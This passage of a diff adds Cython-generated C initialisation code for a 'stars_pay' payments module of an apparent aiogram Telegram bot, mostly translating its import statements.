= NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + unsigned int __pyx_t_8; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'stars_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("stars_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "stars_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_stars_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__stars_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.stars_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.stars_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/stars_pay.py":1 + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":3 + * from typing import Any + * + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_F)) __PYX_ERR(0, 3, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Router)) __PYX_ERR(0, 3, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_types)) __PYX_ERR(0, 3, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":4 + * + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":5 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_State)) __PYX_ERR(0, 5, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_State); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_3) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_3) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":6 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_LabeledPrice); + __Pyx_GIVEREF(__pyx_n_s_LabeledPrice); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_LabeledPrice)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_PreCheckoutQuery); + __Pyx_GIVEREF(__pyx_n_s_PreCheckoutQuery); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_PreCheckoutQuery)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_LabeledPrice, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PreCheckoutQuery); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PreCheckoutQuery, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":7 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * + * from config import RUB_TO_XTR + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":9 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * + * from config import RUB_TO_XTR # <<<<<<<<<<<<<< + * from database import ( + * add_connection, + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_RUB_TO_XTR); + __Pyx_GIVEREF(__pyx_n_s_RUB_TO_XTR); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_RUB_TO_XTR)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_RUB_TO_XTR, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":11 + * from config import RUB_TO_XTR + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 11, __pyx_L1_error); + + /* "handlers/payments/stars_pay.py":10 + * + * from config import RUB_TO_XTR + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":17 + * update_balance, + * ) + * from handlers.payments.gift import STARS_ROUTER # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_STARS_ROUTER); + __Pyx_GIVEREF(__pyx_n_s_STARS_ROUTER); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_STARS_ROUTER)) __PYX_ERR(0, 17, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_STARS_ROUTER); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_STARS_ROUTER, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":18 + * ) + * from handlers.payments.gift import STARS_ROUTER + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 18, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":19 + * from handlers.payments.gift import STARS_ROUTER + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 19, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":20 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, 